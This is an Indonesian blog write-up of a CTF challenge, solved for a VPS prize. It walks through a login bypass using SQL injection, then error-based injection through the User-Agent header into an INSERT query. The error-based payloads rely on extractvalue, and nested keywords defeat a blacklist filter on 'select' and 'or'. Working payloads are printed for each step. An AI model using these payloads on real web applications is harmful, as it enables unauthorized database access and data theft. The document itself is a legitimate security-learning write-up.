Simple CTF by Versailles

- 6 mins

Jadi ceritanya kemaren lagi buka facebook nih , eh nemu postingan dari mas Verry yang isinya challenge berhadiah VPS untuk tiga orang pertama yang berhasil nyelesein challenge tersebut. Berikut penampakannya

Ya karena saya lagi gabut dan hadiahnya menarik yaudah saya coba akhirnya hehe .

Pertama ketika kita buka website tersebut maka akan muncul sebuah form yang berisi validasi flag sekaligus input ke table solver .

*pic taken after challenge closed

Kemudian saya coba untuk view source , ternyata tetap tidak menemukan sesuatu yang menarik dan akhirnya berpikiran untuk melihat robots.txt . Eh ternyata bener ada sesuatu , yaudah selanjutnya saya coba buka url tersebut dan berikut penampakannya Terdapat sebuah form untuk login dan saya coba view source ternyata tetap tidak ada apa apa , jadi yang saya lakukan selanjutnya adalah mencoba fitur form login tersebut dengan username/pass asd/asd Kemudian saya langsung mencoba untuk melakukan SQL Injection untuk melakukan bypass login dengan payload berikut ‘=’‘or’ dan berikut hasilnya. Dilihat dari responsenya sepertinya terdapat proteksi yang mana ketika kita menginputkan basic payload SQL Injection untuk bypass admin maka akan terdeteksi dan menghasilkan response seperti diatas.

Hal yang terpikirkan selanjutnya oleh saya adalah mencoba membypassnya menggunakan simbol , jadi seluruh payload. Berikut payload nya ‘=’’||’ dan setelah itu kita coba masukkan payload tersebut ke form login Dan ternyata berhasil hehe , di tampilan dashboard terdapat sesuatu yang menarik yaitu ditampilkan IP kita dan juga User-Agent kita , kemudian saya coba untuk melakukan view source halaman dashboard tersebut. IP address dan juga User-Agent yang ditampilkan ternyata merupakan iframe dari file visitor.php , jadi selanjutnya langsung saja saya buka visitor.php Sepertinya disini kita disuruh untuk melakukan SQL Injection melalui User-Agent dengan asumsi bahwa User-Agent kita di insert/di simpan ke database . Untuk mempermudah dalam melakukan SQL Injection terhadap User-Agent disini saya menggunakan burpsuite . Setelah memindahkan request ke repeater maka selanjutnya saya coba menginputkan ‘ untuk mengecek apakah vuln terhadap SQL Injection atau tidak. Dan ternyata vuln hehe, sekarang kita tinggal mencari payload yang pas supaya query kita bisa dijalankan. Disini saya coba menginputkan ‘aaa untuk menebak seperti apa query yang dijalankan di server target. Dilihat dari errornya yaitu ‘aaa’, ‘DMbuCcc1yQPsXJDaEgW7q’) maka disini saya coba mengira ngira seperti apa query yang dijalankan di server target.

Query :

insert ... ('input kita' , 'DMbuCcc1yQPsXJDaEgW7q')

Jadi ketika kita menginput ‘aaa maka yang terjadi pada query tersebut adalah seperti berikut

Query :

insert ... (''aaa' , 'DMbuCcc1yQPsXJDaEgW7q')

Nah itulah yang menyebabkan error karena inputan yang kita masukkan tidak sesuai dengan querynya , jadi selanjutnya karena kita sudah dapat pandangan bagaimana query yang dijalankan di server maka selanjutnya kita coba untuk meracik payloadnya

Payload :

1' , 'a')-- -

Jika payload tersebut dimasukkan ke Query harusnya berjalan dengan baik karena query nya akan menjadi seperti berikut

Query :

insert ... ('1' , 'a')-- -' , 'DMbuCcc1yQPsXJDaEgW7q')

sama dengan
Query :

insert ... ('1' , 'a') 

karena setelah – - akan dicomment querynya.

Selanjutnya langsung kita coba saja pada server target. Dan benar ternyata payload yang kita masukkan berhasil , jadi selanjutnya kita tinggal memasukkan payload SQL Injection ke payload yang sudah kita racik tadi dengan format 1’ , Payload SQLi )– - . Disini saya menggunakan extractvalue untuk melakukan SQL Injection terhadap query insert SQL .

Payload :

1' , 1 and extractvalue(1,concat(0x7e,(database()))))-- -

Result :

Dan payload kita berjalan dengan lancar, selanjutnya kita tinggal mencari tahu nama table yang ada pada database tersebut .

Payload :

1' , 1 and extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1))))-- -

Result :

Wadaw , ternyata gagal :’ , dari errornya sepertinya terdapat beberapa string yang diblacklist jadi selanjutnya saya coba analisis string apa saja yang diblacklist tersebut. Untuk mengetesnya saya coba meginputkan querysql + sembarang string ke payload kita tadi untuk mengecek apakah diblacklist atau tidak , jika diblacklist maka string tersebut akan hilang / di ubah.

Payload :

1',kosongxx)-- -

Result: kosongxx tidak terblacklist , ya emang karena itu cman percobaan aja hehe , karena selanjutnya kita akan melakukan pengecekan dengan string+’xx’

Payload :

1',selectxx)-- -

Result :
Nah kan hilang , ternyata select diblacklist . Selanjutnya saya coba untuk melakukan bypass dengan cara sebagai berikut .

Payload :

1',selselectectxx)-- - 

Result: Dan ternyata berhasil , maksud payload tersebut adalah select yang ditengah akan terhapus namun hasil dari penghapusan tersebut akan menghasilkan string select lagi .

Selanjutnya langsung kita coba kembali payload yang sudah kita ubah untuk membypass filter tersebut . Oh iya disini bukan cman select aja yang difilter namun or juga , dan cara bypassnya pun sama.

Payload :

1',1 and extractvalue(1,concat(0x7e,(selSELECTect concat(table_name) FROM infoorrmation_schema.tables WHERE table_schema=database() limit 0,1))))-- - 

Result :

Setelah kita dapat nama tablenya maka selanjutnya kita coba lihat apa saja kolom yang ada ditable tersebut .

Payload :

1',1 and extractvalue(1,concat(0x7e,(selSELECTect concat(column_name) FROM infoorrmation_schema.columns WHERE table_schema=database() and table_name='6TBG2GP9' limit 0,1))))-- - 

Result :

Selanjutnya kita tinggal cari kolom mana yang kira kira menyimpan flag dengan mengubah value dari limit untuk melihat nama kolom yang lain.

Dan akhirnya ketemu yaitu kolom ke-2 dengan nama FLAG_6A0ERSJ5 .

Payload :

1',1 and extractvalue(1,concat(0x7e,(selSELECTect concat(column_name) FROM infoorrmation_schema.columns WHERE table_schema=database() and table_name='6TBG2GP9' limit 2,1))))-- - 

Result :

Selanjutnya kita tinggal melakukan dump terhadap isi kolom tersebut.

Payload :

1',1 and extractvalue(1,concat(0x7e,(selSELECTect FLAG_6A0ERSJ5 from 6TBG2GP9 limit 0,1))))-- - 

Result :

Terakhir tinggal memasukkan flag tersebut ke validator di awal lalu inputkan nama + link facebook dan selanjutnya akan dihubungi oleh problem setter ( mas Verry ) untuk diberi VPS . Kebetulan karena saya first blood akhirnya saya mendapatkan VPS dengan ram 8 gb hehe :D

Proof Reward :

Terimakasih untuk mas Verry (Versailles) karena sudah mengadakan challenge ini dan juga terimakasih atas hadiahnya hehe :D .

rss facebook twitter github gitlab youtube mail spotify lastfm instagram linkedin google google-plus pinterest medium vimeo stackoverflow reddit quora quora